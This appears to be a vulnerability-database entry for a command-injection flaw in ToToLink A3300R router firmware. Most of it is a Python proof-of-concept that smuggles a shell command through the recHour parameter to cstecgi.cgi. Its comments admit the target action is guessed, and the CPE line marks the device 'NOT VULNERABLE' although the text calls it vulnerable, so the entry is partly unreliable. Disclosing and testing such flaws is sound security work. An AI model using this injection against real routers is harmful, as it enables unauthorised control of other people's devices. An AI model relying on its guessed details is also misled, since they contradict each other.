An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the recHour parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import json
# Target URL (Replace with actual IP)
target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi"
# Headers
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)"
}
# Payload constructing based on the vulnerability description
# The 'recHour' parameter is vulnerable to command injection.
# Example payload: injecting a command to echo a specific string or ping a server.
data = {
"topicurl": "setScheduleTime", # Example action, adjust based on actual firmware logic
"recHour": "12; echo pwned > /tmp/poc.txt; #"
# The ';' separates commands, allowing arbitrary execution.
}
try:
response = requests.post(target_url, data=json.dumps(data), headers=headers, timeout=5)
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Response:", response.text)
else:
print("[-] Failed to send request. Status code:", response.status_code)
except Exception as e:
print(f"[-] An error occurred: {e}")